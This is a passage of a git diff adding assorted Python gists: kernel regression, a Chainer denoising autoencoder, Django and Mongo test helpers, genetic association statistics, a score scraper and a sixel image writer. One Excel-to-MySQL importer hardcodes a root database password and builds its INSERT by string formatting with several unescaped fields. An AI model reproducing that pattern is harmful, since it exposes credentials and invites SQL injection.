+        return np.dot(a, b.T)
+
+
+class RBFKernel(object):
+
+    def __init__(self, gamma=0.):
+        self.gamma = gamma
+
+    def __call__(self, a, b):
+        return rbf_kernel(a, b, self.gamma)
+
+
+class PolynomialKernel(object):
+
+    def __init__(self, degree=2., gamma=0., coef0=1.):
+        self.degree = degree
+        self.gamma = gamma
+        self.coef0 = coef0
+
+    def __call__(self, a, b):
+        return polynomial_kernel(a, b, self.degree, self.gamma, self.coef0)
+
+
+# --- solver ---
+
+class KernelModel(object):
+
+    def __init__(self, X, kernel, beta, bias):
+        self.kernel = kernel
+        self.X = X
+        self.beta = beta
+        self.bias = bias
+
+    def predict(self, X):
+        return np.dot(self.kernel(X, self.X), self.beta) + self.bias
+
+
+def fit_kernel_model(kernel, loss, X, y, gamma, weights=None):
+    n_samples = X.shape[0]
+    gamma = float(gamma)
+    if weights is not None:
+        weights = weights / np.sum(weights) * weights.size
+
+    # --- optimize bias term ---
+
+    bias = fd.oovar('bias', size=1)
+
+    if weights is None:
+        obj_fun = fd.sum(loss(y, bias))
+    else:
+        obj_fun = fd.sum(fd.dot(weights, loss(y, bias)))
+    optimizer = NLP(obj_fun, {bias: 0.}, ftol=1e-6, iprint=-1)
+
+    result = optimizer.solve('ralg')
+    bias = result(bias)
+
+    # --- optimize betas ---
+
+    beta = fd.oovar('beta', size=n_samples)
+
+    # gram matrix
+    K = kernel(X, X)
+    assert K.shape == (n_samples, n_samples)
+
+    K_dot_beta = fd.dot(K, beta)
+
+    penalization_term = gamma * fd.dot(beta, K_dot_beta)
+    if weights is None:
+        loss_term = fd.sum(loss(y - bias, K_dot_beta))
+    else:
+        loss_term = fd.sum(fd.dot(weights, loss(y - bias, K_dot_beta)))
+    obj_fun = penalization_term + loss_term
+
+    beta0 = np.zeros((n_samples,))
+
+    optimizer = NLP(obj_fun, {beta: beta0}, ftol=1e-4, iprint=-1)
+    result = optimizer.solve('ralg')
+    beta = result(beta)
+
+    return KernelModel(X, kernel, beta, bias)
diff --git a/hard-gists/379cc31c29cfb5bdc9a0/._snippet.py b/hard-gists/379cc31c29cfb5bdc9a0/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/379cc31c29cfb5bdc9a0/._snippet.py differ
diff --git a/hard-gists/379cc31c29cfb5bdc9a0/snippet.py b/hard-gists/379cc31c29cfb5bdc9a0/snippet.py
new file mode 100644
index 00000000..d9affa5e
--- /dev/null
+++ b/hard-gists/379cc31c29cfb5bdc9a0/snippet.py
@@ -0,0 +1,240 @@
+import argparse
+import numpy as np
+from sklearn.datasets import fetch_mldata
+from chainer import Variable, FunctionSet, optimizers, cuda
+import chainer.functions  as F
+#import utils
+
+parser = argparse.ArgumentParser(description='Chainer example: MNIST')
+parser.add_argument('--gpu', '-g', default=-1, type=int,
+                    help='GPU ID (negative value indicates CPU)')
+args = parser.parse_args()
+
+use_gpu = False
+if args.gpu >= 0:
+    use_gpu = True
+    cuda.init(args.gpu)
+
+class Perceptron():
+    def __init__(self, n_in, n_out, use_cuda=False):
+        self.model = FunctionSet(
+            transform=F.Linear(n_in, n_out)
+        )
+        self.use_cuda = use_cuda
+
+        if self.use_cuda:
+            self.model.to_gpu()
+
+        self.optimizer = optimizers.Adam()
+        self.optimizer.setup(self.model.collect_parameters())
+
+    def predict(self, x_data):
+        x = Variable(x_data)
+        y = self.model.transform(x)
+        return y.data
+
+    def cost(self, x_data, y_data):
+        x = Variable(x_data)
+        t = Variable(y_data)
+        y = self.model.transform(x)
+        return F.softmax_cross_entropy(y, t), F.accuracy(y, t)
+
+    def train(self, x_data, y_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+            y_data = cuda.to_gpu(y_data)
+        self.optimizer.zero_grads()
+        loss, acc = self.cost(x_data, y_data)
+        loss.backward()
+        self.optimizer.update()
+        return float(cuda.to_cpu(loss.data)), float(cuda.to_cpu(acc.data))
+
+    def test(self, x_data, y_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+            y_data = cuda.to_gpu(y_data)
+        loss, acc = self.cost(x_data, y_data)
+        return float(cuda.to_cpu(loss.data)), float(cuda.to_cpu(acc.data))
+
+class DenoisingAutoEncoder():
+    def __init__(self, n_in, n_hidden, use_cuda=False):
+        self.model = FunctionSet(
+            encode=F.Linear(n_in, n_hidden),
+            decode=F.Linear(n_hidden, n_in)
+        )
+        self.use_cuda = use_cuda
+
+        if self.use_cuda:
+            self.model.to_gpu()
+
+        self.optimizer = optimizers.Adam()
+        self.optimizer.setup(self.model.collect_parameters())
+
+    def encode(self, x_var):
+        return F.sigmoid(self.model.encode(x_var))
+
+    def decode(self, x_var):
+        return F.sigmoid(self.model.decode(x_var))
+
+    def predict(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        x = Variable(x_data)
+        p = self.encode(x)
+        return cuda.to_cpu(p.data)
+
+    def cost(self, x_data):
+        x = Variable(x_data)
+        t = Variable(x_data)
+        x_n = F.dropout(x)
+        h = self.encode(x_n)
+        y = self.decode(h)
+        return F.mean_squared_error(y, t)
+
+    def train(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        self.optimizer.zero_grads()
+        loss = self.cost(x_data)
+        loss.backward()
+        self.optimizer.update()
+        return float(cuda.to_cpu(loss.data))
+
+    def test(self, x_data):
+        if self.use_cuda:
+            x_data = cuda.to_gpu(x_data)
+        loss = self.cost(x_data)
+        return float(cuda.to_cpu(loss.data))
+
+#    def visualize(self):
+#        if self.use_cuda:
+#            self.model.to_cpu()
+#        tile_size = (int(np.sqrt(self.model.encode.W[0].size)), int(np.sqrt(self.model.encode.W[0].size)))
+#        panel_shape = (10, 10)
+#        img = utils.visualize_weights(self.model.encode.W, panel_shape, tile_size)
+#        if self.use_cuda:
+#            self.model.to_gpu()
+#
+#        return img
+
+mnist = fetch_mldata('MNIST original')
+mnist.data = mnist.data.astype(np.float32)
+mnist.data /= 255
+mnist.target = mnist.target.astype(np.int32)
+
+batchsize = 100
+n_epochs = 50
+
+N = 60000
+
+x_train, x_test = np.split(mnist.data, [N])
+y_train, y_test = np.split(mnist.target, [N])
+N_test = y_test.size
+
+dae1 = DenoisingAutoEncoder(784, 1000, use_gpu)
+
+for epoch in xrange(n_epochs):
+    print "Epoch {}".format(epoch + 1)
+    perm = np.random.permutation(N)
+    sum_loss = 0
+    for i in xrange(0, N, batchsize):
+        x_batch = x_train[perm[i:i+batchsize]]
+        sum_loss += dae1.train(x_batch) * batchsize
+
+    mean_loss = sum_loss / N
+    print "- Layer 1 train mean loss={}".format(mean_loss)
+
+    sum_loss = 0
+    for i in xrange(0, N_test, batchsize):
+        x_batch = x_test[i:i+batchsize]
+        sum_loss += dae1.test(x_batch) * batchsize
+
+    mean_loss = sum_loss / N_test
+    print "- Layer 1 test mean loss={}".format(mean_loss)
+
+#img1 = dae1.visualize()
+#img1.save("weights1.bmp")
+
+x_train = dae1.predict(x_train)
+x_test = dae1.predict(x_test)
+
+dae2 = DenoisingAutoEncoder(1000, 1000, use_gpu)
+
+for epoch in xrange(n_epochs):
+    print "Epoch {}".format(epoch + 1)
+    perm = np.random.permutation(N)
+    sum_loss = 0
+    for i in xrange(0, N, batchsize):
+        x_batch = x_train[perm[i:i+batchsize]]
+        sum_loss += dae2.train(x_batch) * batchsize
+
+    mean_loss = sum_loss / N
+    print "- Layer 2 train mean loss={}".format(mean_loss)
+
+    sum_loss = 0
+    for i in xrange(0, N_test, batchsize):
+        x_batch = x_test[i:i+batchsize]
+        sum_loss += dae2.test(x_batch) * batchsize
+
+    mean_loss = sum_loss / N_test
+    print "- Layer 2 test mean loss={}".format(mean_loss)
+
+x_train = dae2.predict(x_train)
+x_test = dae2.predict(x_test)
+
+dae3 = DenoisingAutoEncoder(1000, 1000, use_gpu)
+
+for epoch in xrange(n_epochs):
+    print "Epoch {}".format(epoch + 1)
+    perm = np.random.permutation(N)
+    sum_loss = 0
+    for i in xrange(0, N, batchsize):
+        x_batch = x_train[perm[i:i+batchsize]]
+        sum_loss += dae3.train(x_batch) * batchsize
+
+    mean_loss = sum_loss / N
+    print "- Layer 3 train mean loss={}".format(mean_loss)
+
+    sum_loss = 0
+    for i in xrange(0, N_test, batchsize):
+        x_batch = x_test[i:i+batchsize]
+        sum_loss += dae3.test(x_batch) * batchsize
+
+    mean_loss = sum_loss / N_test
+    print "- Layer 3 test mean loss={}".format(mean_loss)
+
+
+x_train = dae3.predict(x_train)
+x_test = dae3.predict(x_test)
+
+classifier = Perceptron(1000, 10, use_gpu)
+
+for epoch in xrange(1000):
+    print "Epoch %d" % epoch
+    perm = np.random.permutation(N)
+    sum_loss = 0
+    sum_acc = 0
+    for i in xrange(0, N, batchsize):
+        x_batch = x_train[perm[i:i+batchsize]]
+        y_batch = y_train[perm[i:i+batchsize]]
+        loss, acc = classifier.train(x_batch, y_batch)
+        sum_loss += loss * batchsize
+        sum_acc += acc * batchsize
+
+    mean_loss = sum_loss / N
+    mean_acc = sum_acc / N
+    print "- Perceptron train mean loss={} accuracy={}".format(mean_loss, mean_acc)
+
+    sum_loss = 0
+    sum_acc = 0
+
+    for i in xrange(0, N_test, batchsize):
+        x_batch = x_test[i:i+batchsize]
+        y_batch = y_test[i:i+batchsize]
+        loss, acc = classifier.test(x_batch, y_batch)
+        sum_loss += loss * batchsize
+        sum_acc += acc * batchsize
+
+    mean_loss = sum_loss / N_test
+    mean_acc = sum_acc / N_test
+    print "- Perceptron test mean loss={} accuracy={}".format(mean_loss, mean_acc)
diff --git a/hard-gists/37d73786afab7da6037f/._snippet.py b/hard-gists/37d73786afab7da6037f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/37d73786afab7da6037f/._snippet.py differ
diff --git a/hard-gists/37d73786afab7da6037f/snippet.py b/hard-gists/37d73786afab7da6037f/snippet.py
new file mode 100644
index 00000000..16d2efa8
--- /dev/null
+++ b/hard-gists/37d73786afab7da6037f/snippet.py
@@ -0,0 +1,12 @@
+from rest_framework import serializers
+
+class ListSerializer(serializers.Serializer):
+    def from_native(self, data):
+        if isinstance(data, list):
+            return list(data)
+        else:
+            msg = self.error_messages['invalid']
+            raise serializers.ValidationError(msg)
+
+    def to_native(self, obj):
+        return obj
\ No newline at end of file
diff --git a/hard-gists/3800756/._snippet.py b/hard-gists/3800756/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3800756/._snippet.py differ
diff --git a/hard-gists/3800756/snippet.py b/hard-gists/3800756/snippet.py
new file mode 100644
index 00000000..72931b9f
--- /dev/null
+++ b/hard-gists/3800756/snippet.py
@@ -0,0 +1,23 @@
+from django.template import Template
+from django.test import TestCase
+from django.test.client import RequestFactory
+from django.test.utils import (
+    setup_test_template_loader,
+    restore_template_loaders,
+    override_settings,
+)
+
+class TemplateTest(TestCase):
+
+    def setUp(self):
+        templates = {
+            "template.html": Template("content here"),
+        }
+        setup_test_template_loader(templates)
+
+    def tearDown(self):
+        restore_template_loaders()
+
+    @override_settings(LOGIN_URL="/login/")
+    def test_view(self):
+        request = RequestFactory().get("/")
\ No newline at end of file
diff --git a/hard-gists/3802732/._snippet.py b/hard-gists/3802732/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3802732/._snippet.py differ
diff --git a/hard-gists/3802732/snippet.py b/hard-gists/3802732/snippet.py
new file mode 100644
index 00000000..130db352
--- /dev/null
+++ b/hard-gists/3802732/snippet.py
@@ -0,0 +1,138 @@
+
+# following Python packages needs to be installed 
+# xlrd, xlsxrd, unidecode, MySQLdb
+
+import xlrd
+import xlsxrd
+import MySQLdb as mdb
+import re
+import unidecode
+
+login = {}
+
+#specify your database server credentials#
+login['host'] = 'localhost'
+login['username'] = 'root'
+login['password'] = 'MNixv10a'
+login['database'] = 'odesk'
+
+
+
+#excel sheet file path#########################
+excel_file_path  = 'consulate-listings.xlsx'
+
+
+
+
+
+
+
+def get_cursor(host, username, password, database):
+    
+    try:
+        conn = mdb.connect(host,username,password,database)
+        return conn,conn.cursor()
+    except:
+        print 'Database connection failed!'
+        return None
+
+
+def slugify(the_string):
+    the_string = unidecode.unidecode(the_string).lower()
+    return re.sub(r'\W+','-',the_string)
+
+    
+
+conn,cursor = get_cursor(**login)
+conn.set_character_set('utf8')
+cursor.execute('SET NAMES utf8;')
+cursor.execute('SET CHARACTER SET utf8;')
+cursor.execute('SET character_set_connection=utf8;')
+
+
+
+
+workbook = xlsxrd.open_workbook(excel_file_path)
+worksheet = workbook.sheet_by_name('Sheet1')
+
+nrows = worksheet.nrows
+
+
+print nrows
+
+
+
+
+
+
+for each in range(1,nrows):
+    print '###############'
+    print 'row '+ repr(each) + ' inserted'
+    print '###############'
+    name = worksheet.row(each)[0].value#consulate name
+    company_type = "consulate" #fixed string
+    license_fee_type = worksheet.row(each)[1].value# GMT Time
+    license_fee = worksheet.row(each)[2].value# Visa Processing Times
+    url1 = worksheet.row(each)[4].value #Embasy URL
+    text = worksheet.row(each)[5].value#Embasy Overview
+    
+    text = unidecode.unidecode(text)
+    text = mdb.escape_string(text)
+    continuing_education = text
+
+    address = mdb.escape_string(unidecode.unidecode(worksheet.row(each)[6].value))# Address1
+    city = worksheet.row(each)[7].value# city
+    country = worksheet.row(each)[8].value# country
+    ## email and url
+    email = worksheet.row(each)[9].value#contact email
+    url2 = []
+    if email.find('\n'):
+        emails = email.split('\n')
+        email = emails[0]
+        url2 = emails[1:]
+    url2 = ''.join(url2)
+    
+    ##
+    ##phone and renewal_fee
+    phone = worksheet.row(each)[10].value#contact telephone
+    renewal_fee = []
+    if phone.find('\n'):
+        data = phone.split('\n')
+        phone = data[0]
+        renewal_fee = data[1:]
+    renewal_fee = ''.join(renewal_fee)
+    ##
+    
+    renewal_deadline = worksheet.row(each)[11].value#work hours
+    speciality_type = worksheet.row(each)[12].value#best contact
+    slug = slugify(name)
+    type_of_control = worksheet.row(each)[13].value#issue packet 3
+    packet_4= worksheet.row(each)[14].value#issue packet 4  
+    facility_type = worksheet.row(each)[15].value#photo of embassy
+  
+    #date_added = timestamp from the database sever during SQL insert
+
+    query = """insert into lists_company (name,company_type, license_fee_type, licensing_fee,
+    url1, description, address, city, country, email,
+    url2, phone, renewal_fee, renewal_deadline, specialty_type, slug,
+    type_of_control, packet_4, facility_type ) values ("%s","%s","%s","%s","%s",'%s','%s','%s','%s','%s','%s','%s','%s','%s','%s','%s',"%s","%s","%s")"""%(name, company_type, license_fee_type, license_fee,
+                                                                       url1, continuing_education, address, city, country,
+                                                                       email, url2, phone, renewal_fee, renewal_deadline,
+                                                                       speciality_type, slug, type_of_control, packet_4,
+                                                                       facility_type)
+
+    #print query
+    
+    cursor.execute(query)
+    conn.commit()
+    
+    
+    
+    
+
+
+
+
+
+
+
diff --git a/hard-gists/3803003/._snippet.py b/hard-gists/3803003/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3803003/._snippet.py differ
diff --git a/hard-gists/3803003/snippet.py b/hard-gists/3803003/snippet.py
new file mode 100644
index 00000000..8d3c4de5
--- /dev/null
+++ b/hard-gists/3803003/snippet.py
@@ -0,0 +1,40 @@
+#coding: utf-8
+from nose.plugins.skip import SkipTest
+
+from mongoengine.python_support import PY3
+from mongoengine import connect
+
+try:
+    from django.test import TestCase
+    from django.conf import settings
+except Exception as err:
+    if PY3:
+        from unittest import TestCase
+        # Dummy value so no error
+        class settings:
+            MONGO_DATABASE_NAME = 'dummy'
+    else:
+        raise err
+
+
+class MongoTestCase(TestCase):
+    """
+        TestCase class that clear the collection between the tests
+    """
+    mongodb_name = 'test_%s' % settings.MONGO_DATABASE_NAME
+    
+    def _pre_setup(self):
+        if PY3:
+            raise SkipTest('django does not have Python 3 support')
+
+        from mongoengine.connection import connect, disconnect
+        disconnect()
+        connect(self.mongodb_name, port=settings.MONGO_PORT)
+        super(MongoTestCase, self)._pre_setup()
+
+    def _post_teardown(self):
+        from mongoengine.connection import get_connection, disconnect
+        connection = get_connection()
+        connection.drop_database(self.mongodb_name)
+        disconnect()
+        super(MongoTestCase, self)._post_teardown()
diff --git a/hard-gists/3803893/._snippet.py b/hard-gists/3803893/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3803893/._snippet.py differ
diff --git a/hard-gists/3803893/snippet.py b/hard-gists/3803893/snippet.py
new file mode 100644
index 00000000..b1388222
--- /dev/null
+++ b/hard-gists/3803893/snippet.py
@@ -0,0 +1,180 @@
+"""
+C-alpha test for rare variants. Copied from AssotesteR
+Only reports the permutation p-value, not the asymptotic
+
+This also wraps all of the functions in R's AssotesteR using
+rpy2. Any function available in AssotesteR, e.g. CALPHA is 
+availailable here has r_calpha().
+The args are always
+
+casecon: a list of 0's, 1's indicating case/control status
+genotype: a numpy array with shape len(casecon), n_snps.
+
+the return value is a dictionary with keys of: stat, perm_p,
+asym_p, function.
+
+# TODO: http://www.ncbi.nlm.nih.gov/pubmed/21769936
+"""
+import numpy as np
+
+import rpy2.robjects.numpy2ri as nri
+from rpy2 import robjects
+from rpy2.robjects.packages import importr
+from rpy2.robjects.functions import SignatureTranslatedFunction
+AssotesteR = importr("AssotesteR")
+
+class rassotest(object):
+    def __init__(self, func_name):
+        self.function_name = func_name
+        self.fn = getattr(AssotesteR, func_name)
+
+    def __call__(self, casecon, genotype, **kwargs):
+        casecon = robjects.IntVector(casecon)
+        genotype = nri.numpy2ri(genotype)
+        res = self.fn(robjects.IntVector(casecon), nri.numpy2ri(genotype), **kwargs)
+        res = dict(res.iteritems())
+        # convert from rpy2 stuffs to python dict.
+        skey = [k for k in res if k.endswith('.stat')][0]
+        perm_p = res['perm.pval'][0]
+        asym_p = res.get('asym.pval', [None])[0]
+        return dict(stat=res[skey][0], perm_p=perm_p, asym_p=asym_p,
+                   function=self.function_name)
+
+
+# wrapper for SKAT.
+class PySKAT(object):
+    """
+    covs is a list of covariates. each list in covs should be the same
+    length as cc
+    """
+    def __init__(self, cc, covs=None):
+        if hasattr(covs, "__iter__") and not hasattr(covs[0], "__iter__"):
+            covs = [covs]
+        elif covs is None:
+            covs = []
+
+        formula = "cc ~ 1 "
+        cov_string = " + ".join("V%i" % i for i, cov in enumerate(covs))
+        if covs != []:
+            formula += " + " + cov_string
+        fml = robjects.Formula(formula)
+        fml.environment['cc'] = robjects.IntVector(cc)
+        for i, cov in enumerate(covs):
+            assert len(cov) == len(cc)
+            fml.environment["V%i" % i] = robjects.FloatVector(cov)
+        fml.environment['cc'] = robjects.IntVector(cc)
+        self.obj = SKAT.SKAT_Null_Model(fml)
+        self.formula = formula
+
+    def __call__(self, genotype):
+        _ = sys.stdout
+        sys.stdout = sys.stderr
+        sk_res = SKAT.SKAT(nri.numpy2ri(genotype.T), self.obj, method="optimal")
+        sys.stdout = _
+
+        py_res = dict(sk_res.iteritems())
+        skat_pval = py_res['p.value'][0]
+        params = dict(py_res['param'].iteritems())
+        rho_est = params['rho_est'][0]
+        return skat_pval, rho_est
+
+
+
+
+# these 2 lines are unnessecary.
+# the below loop imports and wraps all of the R functions
+r_calpha = rassotest("CALPHA")
+r_cmat = rassotest("CMAT")
+
+# import and wrap all the functions in AssotesteR
+for name in dir(AssotesteR):
+    if isinstance(getattr(AssotesteR, name), SignatureTranslatedFunction):
+        fname = "r_" + name.lower()
+        globals()[fname] = rassotest(name)
+
+
+# python version of calpha
+def _calpha(casecon, genotype):
+    nCase = casecon.sum()
+    nControl = len(casecon) - nCase
+    pCase = nCase / float(nControl + nCase)
+
+    n = (genotype > 0).sum(0)
+    g = (genotype[casecon == 1,] > 0).sum(0)
+
+    Talpha = ((g - n * pCase)**2 - (n * pCase * (1 - pCase))).sum()
+    return Talpha
+
+def calpha(casecon, genotype, n_perm=10000):
+    casecon = np.asarray(casecon)
+
+    calpha_stat = _calpha(casecon, genotype)
+
+    perm_stats = []
+    rand_cc = casecon.copy()
+    for i in xrange(n_perm):
+        np.random.shuffle(rand_cc)
+        perm_stats.append(_calpha(rand_cc, genotype))
+
+    perm_stats = np.array(perm_stats) ** 2
+    return calpha_stat, (1 + (perm_stats > (calpha_stat ** 2)).sum()) / float(n_perm + 1)
+
+def _cmat(casecon, g):
+
+    nCase = casecon.sum()
+    nCtrl = len(casecon) - nCase
+
+    mCase = g[casecon == 1,:].sum()
+    mCtrl = g[casecon == 0,:].sum()
+
+    iCase = (2 - g[casecon == 1,:]).sum()
+    iCtrl = (2 - g[casecon == 0,:]).sum()
+
+    cm1 = len(casecon) / (2. * nCase * nCtrl * g.shape[1])
+    cm2 = ((mCase * iCtrl - mCtrl * iCase)**2) / \
+            float((mCase + mCtrl) * (iCase + iCtrl))
+    return cm1 * cm2
+
+def cmat(casecon, genotype, n_perm=100, rare_cutoff="auto"):
+    if rare_cutoff == "auto":
+        # cutoff from SKAT CommonRare
+        rare_cutoff = 1 / np.sqrt(2 * len(casecon))
+    casecon = np.asarray(casecon)
+
+    # just do this once since we only shuffle case/control status
+    mafs = genotype.mean(0) / 2
+    if any(mafs < rare_cutoff):
+        genotype = genotype[:, mafs < rare_cutoff]
+    else:
+        return (np.nan, np.nan)
+    cmat_stat = _cmat(casecon, genotype)
+
+    perm_stats = []
+    rand_cc = casecon.copy()
+    for i in xrange(n_perm):
+        np.random.shuffle(rand_cc)
+        perm_stats.append(_cmat(rand_cc, genotype))
+
+    perm_stats = np.array(perm_stats)
+    return cmat_stat, (1. + (perm_stats > cmat_stat).sum()) / float(1 + n_perm)
+
+
+if __name__ == "__main__":
+    casecon = [0] * 100 + [1] * 100
+    genotype = np.random.randint(0, 1, (len(casecon), 20))
+    #genotype += np.random.randint(0, 1, (len(casecon), 20))
+    genotype[120:130,1:5] = 1
+    print cmat(casecon, genotype, rare_cutoff=0.05)
+
+    print(r_cmat(casecon, genotype, perm=100, maf=1/np.sqrt(2*len(casecon))))
+    #print(r_cmc(casecon, genotype, perm=400))
+    #print(r_asum(casecon, genotype, perm=400))
+    #print(r_bst(casecon, genotype, perm=400))
+    #print(r_wss(casecon, genotype, perm=400))
+    #print(r_assuw(casecon, genotype, perm=400))
+    #print(r_wst(casecon, genotype, perm=400))
+    print "R calpha:"
+    print(r_calpha(casecon, genotype, perm=400))
+    print "numpy calpha:"
+    print calpha(casecon, genotype)
+    print "numpy cmat:"
diff --git a/hard-gists/3805436/._snippet.py b/hard-gists/3805436/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3805436/._snippet.py differ
diff --git a/hard-gists/3805436/snippet.py b/hard-gists/3805436/snippet.py
new file mode 100644
index 00000000..30653c40
--- /dev/null
+++ b/hard-gists/3805436/snippet.py
@@ -0,0 +1,52 @@
+import pytz
+import datetime
+import time
+import urllib2
+import json
+import os
+import elementtree.ElementTree as ET
+
+# e.g. http://scores.nbcsports.msnbc.com/ticker/data/gamesMSNBC.js.asp?jsonp=true&sport=MLB&period=20120929
+url = 'http://scores.nbcsports.msnbc.com/ticker/data/gamesMSNBC.js.asp?jsonp=true&sport=%s&period=%d'
+
+def today(league):
+  yyyymmdd = int(datetime.datetime.now(pytz.timezone('US/Pacific')).strftime("%Y%m%d"))
+  games = []
+  
+  try:
+    f = urllib2.urlopen(url % (league, yyyymmdd))
+    jsonp = f.read()
+    f.close()
+    json_str = jsonp.replace('shsMSNBCTicker.loadGamesData(', '').replace(');', '')
+    json_parsed = json.loads(json_str)
+    for game_str in json_parsed.get('games', []):
+      game_tree = ET.XML(game_str)
+      visiting_tree = game_tree.find('visiting-team')
+      home_tree = game_tree.find('home-team')
+      gamestate_tree = game_tree.find('gamestate')
+      home = home_tree.get('nickname')
+      away = visiting_tree.get('nickname')
+      os.environ['TZ'] = 'US/Eastern'
+      start = int(time.mktime(time.strptime('%s %d' % (gamestate_tree.get('gametime'), yyyymmdd), '%I:%M %p %Y%m%d')))
+      del os.environ['TZ']
+      
+      games.append({
+        'league': league,
+        'start': start,
+        'home': home,
+        'away': away,
+        'home-score': home_tree.get('score'),
+        'away-score': visiting_tree.get('score'),
+        'status': gamestate_tree.get('status'),
+        'clock': gamestate_tree.get('display_status1'),
+        'clock-section': gamestate_tree.get('display_status2')
+      })
+  except Exception, e:
+    print e
+  
+  return games
+
+if __name__ == "__main__":
+  for league in ['NFL', 'MLB', 'NBA', 'NHL']:
+    print today(league)
+    time.sleep(30)
diff --git a/hard-gists/3806329/._snippet.py b/hard-gists/3806329/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/3806329/._snippet.py differ
diff --git a/hard-gists/3806329/snippet.py b/hard-gists/3806329/snippet.py
new file mode 100644
index 00000000..beb520df
--- /dev/null
+++ b/hard-gists/3806329/snippet.py
@@ -0,0 +1,278 @@
+#!/usr/bin/env python
+
+import sys, termios, StringIO
+import Image # PIL
+
+class SixelConverter:
+
+    def __init__(self, image, f8bit = False):
+
+        if f8bit: # 8bit mode
+            self.DCS='\x90'
+            self.ST='\x9c'
+        else:
+            self.DCS='\x1bP'
+            self.ST='\x1b\\'
+
+        self.palette = image.getpalette()
+        self.data = image.getdata()
+        self.width, self.height = image.size
+
+    def __write_header(self, output):
+        # start Device Control String (DCS)
+        output.write(self.DCS)
+    
+        # write header
+        output.write('0;0;8q"1;1')
+
+    def __write_palette_section(self, output):
+
+        palette = self.palette
+
+        # write palette section
+        for i in range(0, len(palette), 3):
+            output.write('#' + str(i / 3) + ";2;")
+            output.write(str(palette[i] * 100 / 256) + ";")
+            output.write(str(palette[i + 1] * 100 / 256) + ";")
+            output.write(str(palette[i + 2] * 100 / 256))
+
+    def __write_body_section(self, output):
+
+        data = self.data
+
+        #write body section
+        height = self.height
+        width = self.width
+        for y in range(0, height):
+            cachedNo = data[y * width]
+            count = 1
+            for x in range(0, width):
+                colorNo = data[y * width + x]
+                if colorNo == cachedNo:
+                    count += 1
+                    continue
+                c = chr(pow(2, y % 6) + 63)
+                if count > 1:
+                    output.write('#' + str(cachedNo) + '!' + str(count) + c)
+                    count = 1
+                else:
+                    output.write('#' + str(cachedNo) + c)
+                cachedNo = colorNo
+            if count > 1:
+                output.write('#' + str(cachedNo) + '!' + str(count) + c)
+            else:
+                output.write('#' + str(cachedNo) + c)
+            output.write('$') # write line terminator
+            if y % 6 == 5:
+                output.write('-') # write sixel line separator
+        
+    def __write_terminator(self, output):
+        # write ST
+        output.write(self.ST) # terminate Device Control String
+
+    def getvalue(self):
+
+        output = StringIO.StringIO()
+
+        try:
+            self.__write_header(output)
+            self.__write_palette_section(output)
+            self.__write_body_section(output)
+            self.__write_terminator(output)
+            
+            value = output.getvalue()
+
+        finally: 
+            output.close()
+
+        return value
+ 
+class CellSizeDetector:
+    def __set_raw(self):
+        fd = sys.stdin.fileno()
+        backup = termios.tcgetattr(fd)
+        try:
+            new = termios.tcgetattr(fd)
+            new[0] = 0 # c_iflag = 0
+    #        new[3] = 0 # c_lflag = 0
+            new[3] = new[3] &~ (termios.ECHO | termios.ICANON)
+            termios.tcsetattr(fd, termios.TCSANOW, new)
+        except:
+            termios.tcsetattr(fd, termios.TCSANOW, backup)
+        return backup
+    
+    def __reset_raw(self, old):
+        fd = sys.stdin.fileno()
+        termios.tcsetattr(fd, termios.TCSAFLUSH, old)
+    
+    def __get_report(self, query):
+        sys.stdout.write(query)
+        result = ''
+        while True:
+            c = sys.stdin.read(1)
+            if c == 't':
+                break
+            result += c
+        return result
+
+    def get_size(self):
+
+        backup_termios = self.__set_raw()
+        try: 
+            (height, width) = self.__get_report("\x1b[14t").split(';')[1:]
+            (row, column) = self.__get_report("\x1b[18t").split(';')[1:]
+            
+            char_width = int(width) / int(column)
+            char_height = int(height) / int(row)
+        finally: 
+            self.__reset_raw(backup_termios)
+        return char_width, char_height
+
+
+class SixelWriter:
+    
+    def __init__(self, f8bit = False):
+        if f8bit: # 8bit mode
+            self.CSI='\x9b'
+        else:
+            self.CSI='\x1b['
+
+    def save_position(self):
+        sys.stdout.write('\x1b7')
+
+    def restore_position(self):
+        sys.stdout.write('\x1b8')
+
+    def move_x(self, n, fabsolute):
+        sys.stdout.write(self.CSI)
+        if fabsolute:
+            sys.stdout.write(str(n) + '`')
+        else:
+            if n > 0:
+                sys.stdout.write(str(n) + 'C')
+            elif n < 0:
+                sys.stdout.write(str(-n) + 'D')
+
+    def move_y(self, n, fabsolute):
+        sys.stdout.write(self.CSI)
+        if fabsolute:
+            sys.stdout.write(str(n) + 'd')
+        else:
+            if n > 0:
+                sys.stdout.write(str(n) + 'B')
+            elif n < 0:
+                sys.stdout.write(str(-n) + 'A')
+
+    def draw(self, filename, abs, x = None, y = None, w = None, h = None):
+        image = Image.open(filename)
+        image = image.convert("P")
+
+        if not (w is None and h is None):
+            width, height = image.size
+            if w == None:
+                h = height
+            if h == None:
+                w = width
+            print h,'-', w
+            image = image.resize((w, h))
+
+        self.save_position()
+
+        try:
+            if not x is None:
+                self.move_x(x, abs)
+
+            if not y is None:
+                self.move_y(y, abs)
+
+            sixel_converter = SixelConverter(image, options.f8bit)
+            sys.stdout.write(sixel_converter.getvalue())
+
+        finally:
+            self.restore_position()
+        
+if __name__ == '__main__':
+
+    import optparse, re
+
+    parser = optparse.OptionParser()
+    
+    parser.add_option("-8", "--8bit-mode",
+              action="store_true",
+              dest="f8bit",
+              help="Generate a sixel image for 8bit terminal or printer")
+    
+    parser.add_option("-7", "--7bit-mode",
+              action="store_false",
+              dest="f8bit",
+              help="Generate a sixel image for 7bit terminal or printer")
+ 
+    parser.add_option("-r", "--relative-position",
+                      default=False,
+                      action="store_false",
+                      dest="fabsolute",
+                      help="Treat specified position as relative one")
+  
+    parser.add_option("-a", "--absolute-position",
